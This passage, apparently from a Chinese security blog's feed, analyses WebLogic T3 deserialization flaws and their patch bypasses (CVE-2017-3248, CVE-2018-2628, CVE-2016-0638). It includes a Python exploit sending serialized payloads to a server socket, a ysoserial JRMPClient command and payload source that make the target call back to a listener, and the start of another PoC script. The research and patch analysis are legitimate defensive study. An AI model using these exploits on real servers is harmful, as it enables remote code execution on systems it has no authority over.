class="s">"000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"</span> + <span class="n">payload3</span> <span class="o">=</span> <span class="s">"aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078"</span> + <span class="n">payload1</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span> + <span class="n">payload3</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">payload3</span><span class="p">)</span> + <span class="n">payload2</span> <span class="o">=</span> <span class="n">payload_obj</span> + <span class="n">payload</span> <span class="o">=</span> <span class="n">payload1</span> <span class="o">+</span> <span class="n">payload2</span> <span class="o">+</span> <span class="n">payload3</span> + + <span class="n">payload</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&gt;I'</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="o">+</span> <span class="n">payload</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span> + + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> + <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span> + <span class="k">except</span> <span class="n">socket</span><span class="o">.</span><span class="n">error</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span> + <span class="k">print</span> <span class="p">(</span><span class="s">u'socket 连接异常!'</span><span class="p">)</span> + <span class="k">finally</span><span class="p">:</span> + <span class="n">sock</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> + +<span class="n">exp</span><span class="p">(</span><span class="s">'172.16.100.97'</span><span class="p">,</span> <span class="mi">7001</span><span class="p">)</span> +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>​ payload使用ysoserial的JRMPClient1。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java -jar ysoserial.jar JRMPClient1 172.16.100.97:1099 &gt; ./jrmpclient1 +</code></pre></div></div> + +<h2 id="0x04-补丁">0x04 补丁</h2> + +<p>​ PoC用到了动态代理类:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="n">ysoserial</span><span class="o">.</span><span class="na">payloads</span><span class="o">;</span> + + +<span class="kn">import</span> <span class="nn">java.lang.reflect.Proxy</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">java.rmi.registry.Registry</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">java.rmi.server.ObjID</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">java.rmi.server.RemoteObjectInvocationHandler</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">java.util.Random</span><span class="o">;</span> + +<span class="kn">import</span> <span class="nn">sun.rmi.server.UnicastRef</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">sun.rmi.transport.LiveRef</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">sun.rmi.transport.tcp.TCPEndpoint</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">ysoserial.payloads.annotation.Authors</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">ysoserial.payloads.annotation.PayloadTest</span><span class="o">;</span> +<span class="kn">import</span> <span class="nn">ysoserial.payloads.util.PayloadRunner</span><span class="o">;</span> + +<span class="nd">@SuppressWarnings</span> <span class="o">(</span> <span class="o">{</span> + <span class="s">"restriction"</span> +<span class="o">}</span> <span class="o">)</span> +<span class="nd">@PayloadTest</span><span class="o">(</span> <span class="n">harness</span><span class="o">=</span><span class="s">"ysoserial.test.payloads.JRMPReverseConnectSMTest"</span><span class="o">)</span> +<span class="nd">@Authors</span><span class="o">({</span> <span class="nc">Authors</span><span class="o">.</span><span class="na">MBECHLER</span> <span class="o">})</span> +<span class="kd">public</span> <span class="kd">class</span> <span class="nc">JRMPClient</span> <span class="kd">extends</span> <span class="nc">PayloadRunner</span> <span class="kd">implements</span> <span class="nc">ObjectPayload</span><span class="o">&lt;</span><span class="nc">Registry</span><span class="o">&gt;</span> <span class="o">{</span> + + <span class="kd">public</span> <span class="nc">Registry</span> <span class="nf">getObject</span> <span class="o">(</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">command</span> <span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span> + + <span class="nc">String</span> <span class="n">host</span><span class="o">;</span> + <span class="kt">int</span> <span class="n">port</span><span class="o">;</span> + <span class="kt">int</span> <span class="n">sep</span> <span class="o">=</span> <span class="n">command</span><span class="o">.</span><span class="na">indexOf</span><span class="o">(</span><span class="sc">':'</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">sep</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">)</span> <span class="o">{</span> + <span class="n">port</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Random</span><span class="o">().</span><span class="na">nextInt</span><span class="o">(</span><span class="mi">65535</span><span class="o">);</span> + <span class="n">host</span> <span class="o">=</span> <span class="n">command</span><span class="o">;</span> + <span class="o">}</span> + <span class="k">else</span> <span class="o">{</span> + <span class="n">host</span> <span class="o">=</span> <span class="n">command</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="n">sep</span><span class="o">);</span> + <span class="n">port</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">command</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="n">sep</span> <span class="o">+</span> <span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> + <span class="nc">ObjID</span> <span class="n">id</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjID</span><span class="o">(</span><span class="k">new</span> <span class="nc">Random</span><span class="o">().</span><span class="na">nextInt</span><span class="o">());</span> <span class="c1">// RMI registry</span> + <span class="nc">TCPEndpoint</span> <span class="n">te</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TCPEndpoint</span><span class="o">(</span><span class="n">host</span><span class="o">,</span> <span class="n">port</span><span class="o">);</span> + <span class="nc">UnicastRef</span> <span class="n">ref</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UnicastRef</span><span class="o">(</span><span class="k">new</span> <span class="nc">LiveRef</span><span class="o">(</span><span class="n">id</span><span class="o">,</span> <span class="n">te</span><span class="o">,</span> <span class="kc">false</span><span class="o">));</span> + <span class="nc">RemoteObjectInvocationHandler</span> <span class="n">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RemoteObjectInvocationHandler</span><span class="o">(</span><span class="n">ref</span><span class="o">);</span> + <span class="nc">Registry</span> <span class="n">proxy</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Registry</span><span class="o">)</span> <span class="nc">Proxy</span><span class="o">.</span><span class="na">newProxyInstance</span><span class="o">(</span><span class="nc">JRMPClient</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getClassLoader</span><span class="o">(),</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span> + <span class="nc">Registry</span><span class="o">.</span><span class="na">class</span> + <span class="o">},</span> <span class="n">obj</span><span class="o">);</span> + <span class="k">return</span> <span class="n">proxy</span><span class="o">;</span> + <span class="o">}</span> + + + <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span> <span class="o">(</span> <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">args</span> <span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span> + <span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">().</span><span class="na">setContextClassLoader</span><span class="o">(</span><span class="nc">JRMPClient</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getClassLoader</span><span class="o">());</span> + <span class="nc">PayloadRunner</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">JRMPClient</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">args</span><span class="o">);</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 5</em></p> + +<p>​ 动态代理类对应的接口类型是<strong>java.rmi.registry.Registry</strong>。</p> + +<p>​ 在<strong>weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream</strong>的<strong>resolveProxyClass</strong>中,添加了对接口类型的过滤:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">protected</span> <span class="nc">Class</span><span class="o">&lt;?&gt;</span> <span class="n">resolveProxyClass</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">interfaces</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">interfaces</span><span class="o">;</span> + <span class="kt">int</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">interfaces</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var4</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var4</span> <span class="o">&lt;</span> <span class="n">var3</span><span class="o">;</span> <span class="o">++</span><span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">intf</span> <span class="o">=</span> <span class="n">var2</span><span class="o">[</span><span class="n">var4</span><span class="o">];</span> + <span class="k">if</span> <span class="o">(</span><span class="n">intf</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"java.rmi.registry.Registry"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">InvalidObjectException</span><span class="o">(</span><span class="s">"Unauthorized proxy deserialization"</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">return</span> <span class="kd">super</span><span class="o">.</span><span class="na">resolveProxyClass</span><span class="o">(</span><span class="n">interfaces</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 6</em></p> + +<p>​ 在上面函数处下个断点,再跑一下PoC:</p> + +<p><img src="/images/Weblogic/image-20200207220248202.png" alt="image-20200207220248202" /></p> + +<p>​ 很明显,会被补丁拦截。</p> + +<h2 id="0x05-补丁绕过">0x05 补丁绕过</h2> + +<p>​ CVE-2018-2628就是针对CVE-2017-3248补丁的绕过,利用方法完全相同,只是<strong>java.rmi.activation.Activator</strong>替换了<strong>java.rmi.registry.Registry</strong>。</p> + +<h2 id="0x06-参考">0x06 参考</h2> + +<ol> + <li> + <p>Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) _https://paper.seebug.org/1091/</p> + </li> + <li> + <p>Remote Method Invocation (RMI) _https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html</p> + </li> + <li> + <p>CVE-2017-3248&amp;CVE-2018-2628 _https://blog.csdn.net/he_and/article/details/90580999</p> + </li> + <li> + <p>动态代理类(翻译) _https://blog.csdn.net/oworkn/article/details/52200736</p> + </li> +</ol>Weblogic T3反序列化之三: JRMPWeblogic t3反序列化之二: cve_2016_06382020-01-28T00:00:00+00:002020-01-28T00:00:00+00:00/2020/01/28/Weblogic%20T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E4%BA%8C:%20CVE_2016_0638<h1 id="weblogic-t3反序列化之二-cve-2016-0638">Weblogic T3反序列化之二: CVE-2016-0638</h1> + +<h2 id="0x00-漏洞描述">0x00 漏洞描述</h2> + +<p>这个漏洞其实是对CVE-2015-4852补丁的绕过。</p> + +<p>关于T3反序列化,有多个CVE:</p> + +<ul> + <li>CVE-2015-4852</li> + <li>CVE-2016-0638</li> + <li>CVE-2016-3510</li> + <li>CVE-2017-3248</li> + <li>CVE-2018-2628</li> + <li>CVE-2018-2893</li> +</ul> + +<h2 id="0x01-漏洞分析">0x01 漏洞分析</h2> + +<p>既然是对CVE-2015-4852的补丁绕过,那一定跟4852的调用栈很像了。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>readExternal:1417, StreamMessageImpl (weblogic.jms.common) +readExternalData:1814, ObjectInputStream (java.io) +readOrdinaryObject:1773, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +readObject:66, InboundMsgAbbrev (weblogic.rjvm) +read:38, InboundMsgAbbrev (weblogic.rjvm) +readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm) +init:213, MsgAbbrevInputStream (weblogic.rjvm) +dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm) +dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3) +dispatch:387, BaseAbstractMuxableSocket (weblogic.socket) +readReadySocketOnce:967, SocketMuxer (weblogic.socket) +readReadySocket:899, SocketMuxer (weblogic.socket) +processSockets:130, PosixSocketMuxer (weblogic.socket) +run:29, SocketReaderRequest (weblogic.socket) +execute:42, SocketReaderRequest (weblogic.socket) +execute:145, ExecuteThread (weblogic.kernel) +run:117, ExecuteThread (weblogic.kernel) +</code></pre></div></div> + +<p>​ <em>信息 1 CVE-2016-0638调用栈</em></p> + +<p>对比一下CVE-2015-4852的调用栈:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>readObject:328, AnnotationInvocationHandler (sun.reflect.annotation) +invoke0:-1, NativeMethodAccessorImpl (sun.reflect) +invoke:39, NativeMethodAccessorImpl (sun.reflect) +invoke:25, DelegatingMethodAccessorImpl (sun.reflect) +invoke:597, Method (java.lang.reflect) +invokeReadObject:969, ObjectStreamClass (java.io) +readSerialData:1871, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +readObject:66, InboundMsgAbbrev (weblogic.rjvm) +read:38, InboundMsgAbbrev (weblogic.rjvm) +readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm) +init:213, MsgAbbrevInputStream (weblogic.rjvm) +dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm) +dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3) +dispatch:387, BaseAbstractMuxableSocket (weblogic.socket) +readReadySocketOnce:967, SocketMuxer (weblogic.socket) +readReadySocket:899, SocketMuxer (weblogic.socket) +processSockets:130, PosixSocketMuxer (weblogic.socket) +run:29, SocketReaderRequest (weblogic.socket) +execute:42, SocketReaderRequest (weblogic.socket) +execute:145, ExecuteThread (weblogic.kernel) +run:117, ExecuteThread (weblogic.kernel) +</code></pre></div></div> + +<p>​ <em>信息 2 CVE-2015-4852调用栈</em></p> + +<p>区别是在<code class="language-plaintext highlighter-rouge">readOrdinaryObject</code>走向了不同的分支:</p> + +<p><code class="language-plaintext highlighter-rouge">/weblogic/10.3.6/jdk/jdk1.6.0_45/src.zip!/java/io/ObjectInputStream.java</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="o">(</span><span class="n">desc</span><span class="o">.</span><span class="na">isExternalizable</span><span class="o">())</span> <span class="o">{</span> + <span class="n">readExternalData</span><span class="o">((</span><span class="nc">Externalizable</span><span class="o">)</span> <span class="n">obj</span><span class="o">,</span> <span class="n">desc</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="n">readSerialData</span><span class="o">(</span><span class="n">obj</span><span class="o">,</span> <span class="n">desc</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 3</em></p> + +<p>但在此之前,都经历了:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +readObject:66, InboundMsgAbbrev (weblogic.rjvm) +read:38, InboundMsgAbbrev (weblogic.rjvm) +readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm) +init:213, MsgAbbrevInputStream (weblogic.rjvm) +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>这里的<code class="language-plaintext highlighter-rouge">ObjectInputStream::readObject</code>对应的代码:</p> + +<p><code class="language-plaintext highlighter-rouge">weblogic/rjvm/InboundMsgAbbrev.class</code></p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { + int var2 = var1.read(); + switch(var2) { + case 0: + return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject(); ---5.1 + case 1: + return var1.readASCII(); + default: + throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'"); + } +} +</code></pre></div></div> + +<p>​ <em>信息 5</em></p> + +<p>5.1处的代码是不是很熟悉,这正是CVE-2015-4852加补丁代码的地方,那么新的CVE-2016-0638也走了同样的路,为什么没有被拦截呢?是如何绕过的呢?继续看。</p> + +<p>上述<code class="language-plaintext highlighter-rouge">信息 4</code>调用中,有对应以下代码:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">read</span><span class="o">(</span><span class="nc">MsgAbbrevInputStream</span> <span class="n">var1</span><span class="o">,</span> <span class="nc">BubblingAbbrever</span> <span class="n">var2</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="kt">int</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">readLength</span><span class="o">();</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var4</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var4</span> <span class="o">&lt;</span> <span class="n">var3</span><span class="o">;</span> <span class="o">++</span><span class="n">var4</span><span class="o">)</span> <span class="o">{</span> <span class="o">---</span> <span class="mf">6.1</span> + <span class="kt">int</span> <span class="n">var5</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">readLength</span><span class="o">();</span> + <span class="nc">Object</span> <span class="n">var6</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var5</span> <span class="o">&gt;</span> <span class="n">var2</span><span class="o">.</span><span class="na">getCapacity</span><span class="o">())</span> <span class="o">{</span> + <span class="n">var6</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">readObject</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> <span class="o">---</span><span class="mf">6.2</span> + <span class="n">var2</span><span class="o">.</span><span class="na">getAbbrev</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">abbrevs</span><span class="o">.</span><span class="na">push</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="n">var6</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="n">var5</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">abbrevs</span><span class="o">.</span><span class="na">push</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + +<span class="o">}</span> + +<span class="kd">private</span> <span class="nc">Object</span> <span class="nf">readObject</span><span class="o">(</span><span class="nc">MsgAbbrevInputStream</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="kt">int</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">read</span><span class="o">();</span> + <span class="k">switch</span><span class="o">(</span><span class="n">var2</span><span class="o">)</span> <span class="o">{</span> + <span class="k">case</span> <span class="mi">0</span><span class="o">:</span> + <span class="k">return</span> <span class="o">(</span><span class="k">new</span> <span class="nc">InboundMsgAbbrev</span><span class="o">.</span><span class="na">ServerChannelInputStream</span><span class="o">(</span><span class="n">var1</span><span class="o">)).</span><span class="na">readObject</span><span class="o">();</span> <span class="o">---</span><span class="mf">6.3</span> + <span class="k">case</span> <span class="mi">1</span><span class="o">:</span> + <span class="k">return</span> <span class="n">var1</span><span class="o">.</span><span class="na">readASCII</span><span class="o">();</span> + <span class="k">default</span><span class="o">:</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">StreamCorruptedException</span><span class="o">(</span><span class="s">"Unknown typecode: '"</span> <span class="o">+</span> <span class="n">var2</span> <span class="o">+</span> <span class="s">"'"</span><span class="o">);</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 6</em></p> + +<p>6.1处其实是循环处理inputStream即var1中的全部序列化后的object(ac ed 00开头的),所以理论上PoC中每个序列化后的object都会进6.3进行反序列化,所以CVE-2015-4852就在6.3对应的<code class="language-plaintext highlighter-rouge">ServerChannelInputStream</code>添加了黑名单类、包名扫描。</p> + +<p>后来有人发现了一个监控盲点,即<code class="language-plaintext highlighter-rouge">StreamMessageImpl::readExternal</code>,这个函数很有意思,它会自己用额外的<code class="language-plaintext highlighter-rouge">ObjectInputStream</code>来处理一个序列化后的对象,对应6.1,就是“偷走了“一个object放到了<code class="language-plaintext highlighter-rouge">StreamMessageImpl::readExternal</code>里面处理,而<code class="language-plaintext highlighter-rouge">StreamMessageImpl::readExternal</code>里面是没有黑名单过滤的。</p> + +<p>先看看<code class="language-plaintext highlighter-rouge">StreamMessageImpl::readExternal</code>:</p> + +<p><code class="language-plaintext highlighter-rouge">weblogic/jms/common/StreamMessageImpl.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">readExternal</span><span class="o">(</span><span class="nc">ObjectInput</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="kd">super</span><span class="o">.</span><span class="na">readExternal</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> + <span class="kt">byte</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">readByte</span><span class="o">();</span> + <span class="kt">byte</span> <span class="n">var3</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var2</span> <span class="o">&amp;</span> <span class="mi">127</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span> <span class="o">&gt;=</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">var3</span> <span class="o">&lt;=</span> <span class="mi">3</span><span class="o">)</span> <span class="o">{</span> + <span class="k">switch</span><span class="o">(</span><span class="n">var3</span><span class="o">)</span> <span class="o">{</span> + <span class="k">case</span> <span class="mi">1</span><span class="o">:</span> + <span class="k">this</span><span class="o">.</span><span class="na">payload</span> <span class="o">=</span> <span class="o">(</span><span class="nc">PayloadStream</span><span class="o">)</span><span class="nc">PayloadFactoryImpl</span><span class="o">.</span><span class="na">createPayload</span><span class="o">((</span><span class="nc">InputStream</span><span class="o">)</span><span class="n">var1</span><span class="o">);</span> + <span class="nc">BufferInputStream</span> <span class="n">var4</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">payload</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span> + <span class="nc">ObjectInputStream</span> <span class="n">var5</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="n">var4</span><span class="o">);</span> <span class="o">---</span><span class="mf">7.1</span> + <span class="k">this</span><span class="o">.</span><span class="na">setBodyWritable</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">setPropertiesWritable</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="k">while</span><span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">writeObject</span><span class="o">(</span><span class="n">var5</span><span class="o">.</span><span class="na">readObject</span><span class="o">());</span> + <span class="o">}</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">EOFException</span> <span class="n">var9</span><span class="o">)</span> <span class="o">{</span> +</code></pre></div></div> + +<p>​ <em>信息 7</em></p> + +<p>7.1处有新的<code class="language-plaintext highlighter-rouge">ObjectInputStream</code>,会从6.1处偷走一个序列化后的object,而这个object正是原黑名单中的:</p> + +<p><img src="/images/Weblogic/image-20200202135130383.png" alt="image-20200202135130383" /></p> + +<p>​ <em>信息 8</em></p> + +<p>很显然这个Object原本应该在6.3处被反序列化的,但现在<code class="language-plaintext highlighter-rouge">StreamMessageImpl::readExternal</code>中反序列化了,自然不会被黑名单扫描了。</p> + +<h2 id="0x02-漏洞poc">0x02 漏洞PoC</h2> + +<p>见<code class="language-plaintext highlighter-rouge">参考 1</code></p> + +<p>这里贴出来供参考:</p> + +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +</span><span class="s">''' + ____ _ _ _ _ __ __ _ +| _ </span><span class="err">\</span><span class="s"> __ _| |__ | |__ (_) |_| </span><span class="err">\</span><span class="s">/ | __ _ ___| | __ +| |_) / _` | '_ </span><span class="err">\</span><span class="s">| '_ </span><span class="err">\</span><span class="s">| | __| |</span><span class="err">\</span><span class="s">/| |/ _` / __| |/ / +| _ &lt; (_| | |_) | |_) | | |_| | | | (_| </span><span class="err">\</span><span class="s">__ </span><span class="err">\</span><span class="s"> &lt; +|_| </span><span class="err">\</span><span class="s">_</span><span class="err">\</span><span class="s">__,_|_.__/|_.__/|_|</span><span class="err">\</span><span class="s">__|_| |_|</span><span class="err">\</span><span class="s">__,_|___/_|</span><span class="err">\</span><span class="s">_</span><span class="se">\ +</span><span class="s"> +'''</span> +<span class="kn">import</span> <span class="nn">logging</span> +<span class="kn">import</span> <span class="nn">socket</span> +<span class="kn">import</span> <span class="nn">sys</span> +<span class="kn">import</span> <span class="nn">time</span> +<span class="kn">import</span> <span class="nn">re</span> + +<span class="n">logging</span><span class="o">.</span><span class="n">basicConfig</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="s">'Weblogic.log'</span><span class="p">,</span> + <span class="nb">format</span><span class="o">=</span><span class="s">'</span><span class="si">%(asctime)</span><span class="s">s </span><span class="si">%(message)</span><span class="s">s'</span><span class="p">,</span> + <span class="n">filemode</span><span class="o">=</span><span class="s">"w"</span><span class="p">,</span> <span class="n">level</span><span class="o">=</span><span class="n">logging</span><span class="o">.</span><span class="n">INFO</span><span class="p">)</span> + +<span class="n">VUL</span><span class="o">=</span><span class="p">[</span><span class="s">'CVE-2016-0638'</span><span class="p">]</span> +<span class="n">PAYLOAD</span><span class="o">=</span><span class="p">[</span><span 